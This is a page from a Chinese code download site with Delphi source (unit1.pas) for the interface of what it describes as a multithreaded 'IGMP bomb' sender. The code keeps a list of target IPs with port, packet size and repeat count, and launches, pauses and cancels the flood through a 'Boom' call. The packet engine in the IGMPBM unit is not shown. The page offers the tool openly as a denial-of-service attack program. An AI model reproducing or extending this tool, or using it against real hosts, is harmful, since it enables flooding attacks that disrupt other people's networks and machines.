⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 unit1.pas

📁 以前写下的多线程发送igmp炸弹的工具
💻 PAS
字号:
unit Unit1;

interface

uses
  Windows, Messages, IGMPBM, SysUtils, Classes, Graphics, Controls,
  Forms, Dialogs,
  StdCtrls, ExtCtrls;

type
  TForm1 = class(TForm)
    Button1: TButton;
    list1: TListBox;
    Edit1: TEdit;
    Edit2: TEdit;
    Edit3: TEdit;
    Button2: TButton;
    Button3: TButton;
    Button4: TButton;
    Edit4: TEdit;
    Label1: TLabel;
    Label2: TLabel;
    Label3: TLabel;
    Label4: TLabel;
    Label5: TLabel;
    Edit5: TEdit;
    Button5: TButton;
    Button6: TButton;
    Button7: TButton;
    Panel1: TPanel;
    procedure FormCreate(Sender: TObject);
    procedure Button1Click(Sender: TObject);
    procedure FormClose(Sender: TObject; var Action: TCloseAction);
    procedure Button3Click(Sender: TObject);
    procedure Button2Click(Sender: TObject);
    procedure list1Click(Sender: TObject);
    procedure Button4Click(Sender: TObject);
    procedure Button7Click(Sender: TObject);
    procedure Button6Click(Sender: TObject);
    procedure Button5Click(Sender: TObject);
  private
    blist: tigmlist;
    procedure RefreshList;
    { Private declarations }
  public
    { Public declarations }
  end;

var
  Form1: TForm1;

implementation

{$R *.DFM}

{procedure pause(const nPause: double); far;
var
  l_StartTime: tdatetime;
begin
  l_StartTime := now;
  repeat
    freeevent;
  until Now > l_StartTime + nPause * (1 / 24 / 60 / 60);
end;}

procedure TForm1.FormCreate(Sender: TObject);
begin
  blist := tigmlist.Create;
  edit1.MaxLength := maxip;
end;

procedure TForm1.Button1Click(Sender: TObject);
var p: pointer;
begin
  p := list1.Items.Objects[list1.itemindex];
  with tigmtype(p^) do begin
    blist.SetTargetPort(TargetIP, targetport,strtoint(edit2.text));
    blist.SetTargetPacketSize(TargetIP, targetport,strtoint(edit3.text));
    blist.SetTargetTimes(TargetIP, targetport,strtoint(edit4.text));
  end;
  RefreshList;
end;

procedure TForm1.FormClose(Sender: TObject; var Action: TCloseAction);
begin
  if assigned(blist) then
    blist.destroy;
end;

function fillstr(str: string; width: integer; alright: boolean = false): string;
var s: string;
begin
  setlength(s, width);
  if not alright then begin
    move(str[1], s[1], length(str));
    fillchar(s[length(str) + 1], width - length(str), 32);
  end
  else begin
    move(str[1], s[width - length(str) + 1], length(str));
    fillchar(s[1], width - length(str), 32);
  end;
  result := s;
end;

procedure TForm1.RefreshList;
var i: integer;
  p: pointer;
begin
  list1.items.clear;
  list1.items.add('TargetIP      Port  Size Times');
  with blist do begin
    for i := 0 to BMLIST.count - 1 do begin
      p := bmlist.objects[i];
      with tigmtype(p^) do begin
        list1.Items.AddObject(fillstr(TargetIP, 12) + ' ' +
          fillstr(inttostr(TargetPort), 5, true) + ' ' +
          fillstr(inttostr(packetsize), 5, true) + ' ' +
          fillstr(inttostr(Times), 5, true), p);
      end;
    end;
  end;
end;

procedure TForm1.Button3Click(Sender: TObject);
var p: pointer;
begin
  if list1.ItemIndex = -1 then exit;
  p := list1.Items.Objects[list1.itemindex];
  with tigmtype(p^) do begin
    blist.Deletetarget(TargetIP,targetport);
  end;
  RefreshList;
end;

procedure TForm1.Button2Click(Sender: TObject);
//var ip: tigmtype;
begin
  addip(blist, edit1.text, strtoint(edit2.text), strtoint(edit3.text),
    strtoint(edit4.text));
{//ip.TargetIP] :=edit1.text;
  fillchar(ip.targetip[0], sizeof(ip.targetip), #0);
  move(edit1.text[1], ip.targetip[0], length(edit1.text));
  ip.TargetPort := strtoint(edit2.text);
  ip.packetsize := strtoint(edit3.text);
  ip.Times := strtoint(edit4.text);
  blist.Addtarget(ip);}
  RefreshList;
end;



procedure TForm1.list1Click(Sender: TObject);
var p: pointer;
begin
  if tag = list1.itemindex then exit;
  tag := list1.itemindex;
  if list1.itemindex = -1 then exit;
  p := list1.Items.Objects[list1.itemindex];
  if p = nil then exit;
  with tigmtype(p^) do begin
    edit1.text := TargetIP;
    edit2.text := inttostr(TargetPort);
    edit3.text := inttostr(packetsize);
    edit4.text := inttostr(Times);
  end;
end;

procedure TForm1.Button4Click(Sender: TObject);
begin
  if not blist.Suspended then begin
    blist.delay := strtoint(edit5.text);
    blist.Boom;
  end
  else
    blist.Resume;
  (sender as tbutton).enabled := false;
end;

procedure TForm1.Button7Click(Sender: TObject);
begin
  blist.Validate;
  RefreshList;
end;

procedure TForm1.Button6Click(Sender: TObject);
begin
  blist.Suspend;
  button4.Enabled := blist.Suspended;
end;

procedure TForm1.Button5Click(Sender: TObject);
begin
  blist.cancel;
  application.ProcessMessages ;
  button4.Enabled := not blist.running;
end;

end.

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -